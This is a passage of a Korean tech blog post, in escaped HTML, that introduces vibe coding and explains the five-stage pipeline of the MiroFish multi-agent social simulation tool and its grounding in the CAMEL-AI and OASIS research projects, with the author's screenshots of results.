&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;바이브코딩(Vibe Coding)&lt;/b&gt;은 OpenAI 공동창업자이자 전 Tesla AI 리더인 &lt;b&gt;안드레이 카르파시(Andrej Karpathy)&lt;/b&gt;가 2025년 2월 2일 X(트위터)에서 처음 사용한 용어다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;p style=&quot;margin-bottom: 10px; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;There's a new kind of coding I call 'vibe coding', where you fully give in to the vibes, embrace exponentials, and forget that the code even exists.&quot;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 0; font-size: 14px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;mdash; Andrej Karpathy, 2025년 2월 2일 (&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/karpathy/status/1886192184808149383&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;원문&lt;/a&gt;, 조회수 450만+)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;LLM 기반 코딩 도구(Cursor, Claude Code 등)에 의존하며, 코드를 직접 읽거나 디프를 확인하지 않고, AI가 생성한 코드를 &quot;Accept All&quot;하는 방식으로 빠르게 프로토타입을 만드는 개발 스타일이다. Collins Dictionary는 이 용어를 &lt;b&gt;2025년 올해의 단어&lt;/b&gt;로 선정했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.collinsdictionary.com/us/woty&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Collins Dictionary WOTY 2025 공식 페이지&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://en.wikipedia.org/wiki/Vibe_coding&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wikipedia - Vibe coding&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;바이브코딩에 대한 반론도 있다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;PSPDFKit 창업자이자 iOS 개발자인 Peter Steinberger는 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/steipete/status/2020307318941110678&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;바이브코딩은 AI 기반 개발에 대한 비하 표현(slur)&quot;&lt;/a&gt;이라고 반박했다(조회수 16만+). 그는 &quot;에이전틱 엔지니어링(agentic engineering)&quot;이라는 표현을 선호하며, AI 도움을 받더라도 아키텍처 설계, 디버깅, 품질 관리는 여전히 개발자의 역량이 필요하다고 주장한다. 궈항장의 경우도 단순히 &quot;Accept All&quot;만 한 것이 아니라, BettaFish에서 쌓은 멀티 에이전트 아키텍처 경험과 CAMEL-AI/OASIS 생태계에 대한 깊은 이해가 바탕이 되었다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: 기술 아키텍처 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 기술 아키텍처: 5단계 파이프라인&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MiroFish는 &lt;b&gt;5단계 순차 파이프라인&lt;/b&gt;으로 돌아간다. 각 단계가 이전 단계 결과를 받아 변환하고 다음으로 넘긴다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;1단계: 지식 그래프 구축 (Graph Construction)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;사용자가 업로드한 시드 자료(뉴스 기사, 정책 문서, 소설 등)에서 &lt;b&gt;Zep Cloud의 지식 그래프 API&lt;/b&gt;를 사용해 인물, 기관, 관계를 추출한다. 단순한 텍스트 처리가 아니라 &lt;b&gt;구조화된 지식 그래프&lt;/b&gt;를 만들어 각 주체의 연결, 이해관계, 압력 구조를 매핑한다. 장기 기억은 &lt;b&gt;Zep Cloud&lt;/b&gt;에 저장된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 내가 실습했던 실제 결과물&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3244&quot; data-origin-height=&quot;1930&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IZtON/dJMcaaLpu4K/8rPZ4iQuU1d8kFTpCR5MB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IZtON/dJMcaaLpu4K/8rPZ4iQuU1d8kFTpCR5MB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IZtON/dJMcaaLpu4K/8rPZ4iQuU1d8kFTpCR5MB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIZtON%2FdJMcaaLpu4K%2F8rPZ4iQuU1d8kFTpCR5MB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3244&quot; height=&quot;1930&quot; data-origin-width=&quot;3244&quot; data-origin-height=&quot;1930&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3208&quot; data-origin-height=&quot;1896&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpbmqE/dJMcafsoUtS/JObMBAJjRN1yzCi7KAP5KK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpbmqE/dJMcafsoUtS/JObMBAJjRN1yzCi7KAP5KK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpbmqE/dJMcafsoUtS/JObMBAJjRN1yzCi7KAP5KK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpbmqE%2FdJMcafsoUtS%2FJObMBAJjRN1yzCi7KAP5KK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3208&quot; height=&quot;1896&quot; data-origin-width=&quot;3208&quot; data-origin-height=&quot;1896&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2단계: 환경 설정 (Environment Setup)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;환경 에이전트가 지식 그래프를 바탕으로 &lt;b&gt;수백~수천 개의 에이전트 페르소나&lt;/b&gt;를 자동 생성한다. 각 에이전트는 다음을 갖는다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;고유한 배경 스토리:&lt;/b&gt; 원본 자료에서 추출한 캐릭터 설정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;성격 유형과 행동 규칙:&lt;/b&gt; 낙관적/비관적, 공격적/신중한 등&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;사회적 관계:&lt;/b&gt; 지식 그래프에서 매핑된 관계망&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;독립된 장기 기억:&lt;/b&gt; Zep Cloud를 통해 지속&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;의견 편향과 반응 속도:&lt;/b&gt; 에이전트마다 다르게 설정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;영향력 수준:&lt;/b&gt; 오피니언 리더부터 일반 참여자까지&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Stanford Generative Agents와의 차이&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;2023년 Stanford의 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://arxiv.org/abs/2304.03442&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Generative Agents&lt;/a&gt;(UIST 2023 Best Paper)가 25명의 에이전트로 &quot;기억-반성-계획&quot; 루프를 증명했다면, OASIS/MiroFish는 같은 개념을 &lt;b&gt;100만 에이전트 규모&lt;/b&gt;로 확장하고, 문서에서 자동으로 에이전트를 생성하며, 듀얼 소셜 플랫폼 시뮬레이션을 추가한 것으로 볼 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) &lt;a href=&quot;https://goddaehee.tistory.com/556&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://goddaehee.tistory.com/556&lt;/a&gt;&amp;nbsp;결과 예시&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1558&quot; data-origin-height=&quot;1226&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6ZRst/dJMcaaxSSFI/A4wnBIZiHgYhEK0QhLhUnk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6ZRst/dJMcaaxSSFI/A4wnBIZiHgYhEK0QhLhUnk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6ZRst/dJMcaaxSSFI/A4wnBIZiHgYhEK0QhLhUnk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6ZRst%2FdJMcaaxSSFI%2FA4wnBIZiHgYhEK0QhLhUnk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1558&quot; height=&quot;1226&quot; data-origin-width=&quot;1558&quot; data-origin-height=&quot;1226&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3단계: 시뮬레이션 시작 (Begin Simulation)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;핵심 단계다. &lt;b&gt;OASIS 프레임워크&lt;/b&gt;를 사용해 두 개의 소셜 미디어 플랫폼에서 &lt;b&gt;동시에 병렬 시뮬레이션&lt;/b&gt;을 수행한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;트위터형 플랫폼:&lt;/b&gt; 짧은 메시지, 방송형 상호작용&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;레딧형 플랫폼:&lt;/b&gt; 스레드 기반 토론, 커뮤니티 구조&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트들은 포스팅, 댓글, 리포스트, 좋아요, 팔로우, 뮤트, 검색 등 &lt;b&gt;OASIS 프레임워크에서 정의한 23가지 소셜 액션&lt;/b&gt;을 자유롭게 수행한다. 추천 알고리즘(관심사 기반, 인기도 기반)이 적용되어 콘텐츠 발견 방식도 현실과 유사하게 시뮬레이션된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;왜 두 개의 플랫폼인가?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;트위터형은 &lt;b&gt;정보 확산 패턴&lt;/b&gt;(바이럴, 인플루언서 영향력)을, 레딧형은 &lt;b&gt;깊은 토론과 합의 형성 패턴&lt;/b&gt;(쓰레드 토론, 투표, 커뮤니티 편향)을 포착한다. 두 플랫폼의 결과를 교차 분석하면 단일 플랫폼보다 더 다양한 사회적 역학을 관찰할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 내가 실습했던 실제 결과물&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2304&quot; data-origin-height=&quot;798&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpQX04/dJMcadaeAHk/NKq43WVEKlTOfJZwv81oQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpQX04/dJMcadaeAHk/NKq43WVEKlTOfJZwv81oQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpQX04/dJMcadaeAHk/NKq43WVEKlTOfJZwv81oQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpQX04%2FdJMcadaeAHk%2FNKq43WVEKlTOfJZwv81oQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2304&quot; height=&quot;798&quot; data-origin-width=&quot;2304&quot; data-origin-height=&quot;798&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1712&quot; data-origin-height=&quot;1570&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VzS31/dJMcadaeCdF/lEIxLeUHNLXu3X2pUj2vc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VzS31/dJMcadaeCdF/lEIxLeUHNLXu3X2pUj2vc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VzS31/dJMcadaeCdF/lEIxLeUHNLXu3X2pUj2vc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVzS31%2FdJMcadaeCdF%2FlEIxLeUHNLXu3X2pUj2vc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1712&quot; height=&quot;1570&quot; data-origin-width=&quot;1712&quot; data-origin-height=&quot;1570&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4단계: 보고서 생성 (Report Generation)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;전용 &lt;b&gt;ReportAgent&lt;/b&gt;가 &lt;b&gt;ReACT(Reasoning + Acting) 패턴&lt;/b&gt;을 사용해 시뮬레이션 결과를 분석한다. 지식 그래프를 쿼리하고, 시뮬레이션 속 에이전트들을 인터뷰하고, 인사이트를 종합해 구조화된 마크다운 보고서를 생성한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 내가 실습했던 실제 결과물&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1172&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgHRPs/dJMcagx4dXI/3iNK312AxVhFizrtIE5qKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgHRPs/dJMcagx4dXI/3iNK312AxVhFizrtIE5qKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgHRPs/dJMcagx4dXI/3iNK312AxVhFizrtIE5qKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgHRPs%2FdJMcagx4dXI%2F3iNK312AxVhFizrtIE5qKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1916&quot; height=&quot;1172&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;1172&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5단계: 심층 인터랙션 (Deep Interaction)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;시뮬레이션이 끝난 후, 사용자가 &lt;b&gt;시뮬레이션 안의 어떤 에이전트와도 1:1로 대화&lt;/b&gt;할 수 있다. &quot;너는 왜 그때 의견을 바꿨어?&quot;라고 물으면, 에이전트가 자기 기억을 바탕으로 답한다. ReportAgent에게 추가 질문을 하는 것도 가능하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 내가 실습했던 실제 결과물&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CvQDm/dJMcaaScoGa/MsliCcrae4BdiLhtCuRI2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CvQDm/dJMcaaScoGa/MsliCcrae4BdiLhtCuRI2K/img.png&quot; style=&quot;width: 21.7232%; margin-right: 10px;&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;1672&quot; data-origin-width=&quot;1526&quot; data-widthpercent=&quot;21.98&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CvQDm/dJMcaaScoGa/MsliCcrae4BdiLhtCuRI2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCvQDm%2FdJMcaaScoGa%2FMsliCcrae4BdiLhtCuRI2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1526&quot; height=&quot;1672&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c5ysZm/dJMb99Tf7HP/hgKxHGJ1A6cKUTPFisAjT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c5ysZm/dJMb99Tf7HP/hgKxHGJ1A6cKUTPFisAjT0/img.png&quot; style=&quot;width: 77.114%;&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;592&quot; data-origin-width=&quot;1918&quot; data-widthpercent=&quot;78.02&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c5ysZm/dJMb99Tf7HP/hgKxHGJ1A6cKUTPFisAjT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc5ysZm%2FdJMb99Tf7HP%2FhgKxHGJ1A6cKUTPFisAjT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1918&quot; height=&quot;592&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1666&quot; data-origin-height=&quot;1392&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nEleH/dJMcabQ6rTr/r57uIteOBBw9bkbKl3Y2tK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nEleH/dJMcabQ6rTr/r57uIteOBBw9bkbKl3Y2tK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nEleH/dJMcabQ6rTr/r57uIteOBBw9bkbKl3Y2tK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnEleH%2FdJMcabQ6rTr%2Fr57uIteOBBw9bkbKl3Y2tK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1666&quot; height=&quot;1392&quot; data-origin-width=&quot;1666&quot; data-origin-height=&quot;1392&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: 학술적 기반 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 학술적 기반: CAMEL-AI와 OASIS&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MiroFish는 독립적으로 시뮬레이션 엔진을 만든 것이 아니다. &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;CAMEL-AI &amp;rarr; OASIS &amp;rarr; MiroFish&lt;/b&gt;&lt;/span&gt;라는 학술-오픈소스 체인 위에 구축되어 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;CAMEL-AI 프레임워크&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CAMEL&lt;/b&gt;(Communicative Agents for &quot;Mind&quot; Exploration of Large Language Model Society)은 멀티 에이전트 프레임워크로, &lt;b&gt;NeurIPS 2023&lt;/b&gt;에서 발표되었다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;핵심 기법 &amp;mdash; Inception Prompting:&lt;/b&gt; AI 어시스턴트와 AI 사용자가 서로에게 프롬프트를 주고받으며 자동으로 작업을 완수하는 역할극(Role-Playing) 메커니즘&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;설계 원칙 (GitHub README 기준):&lt;/b&gt; 진화 가능성(Evolvability), 확장성(Scalability), 상태 유지(Statefulness), 코드를 프롬프트로(Code-as-Prompt)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;GitHub:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/camel-ai/camel&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;camel-ai/camel&lt;/a&gt; &amp;mdash; 16,400 스타 (2026년 3월 18일 기준), Apache 2.0&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://arxiv.org/abs/2303.17760&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;arXiv:2303.17760&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://proceedings.neurips.cc/paper_files/paper/2023/hash/a3621ee907def47c1b952ade25c67698-Abstract-Conference.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;NeurIPS 2023 Proceedings&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/camel-ai/camel&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub README&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OASIS: 100만 에이전트 시뮬레이션&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OASIS&lt;/b&gt;(Open Agent Social Interaction Simulations)는 CAMEL-AI 커뮤니티가 개발한 소셜 미디어 시뮬레이터다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;규모:&lt;/b&gt; 최대 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;100만 에이전트&lt;/b&gt;&lt;/span&gt; 동시 시뮬레이션 지원&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;소셜 액션:&lt;/b&gt; 23가지 (팔로우, 댓글, 리포스트, 좋아요, 뮤트, 검색 등)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;5가지 핵심 컴포넌트:&lt;/b&gt; Environment Server, RecSys(추천 알고리즘), Agent Module, Time Engine, Scalable Inferencer&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;재현된 사회 현상:&lt;/b&gt; 정보 확산, 집단 극화(group polarization), 군중 효과(herd effects)&lt;/li&gt;
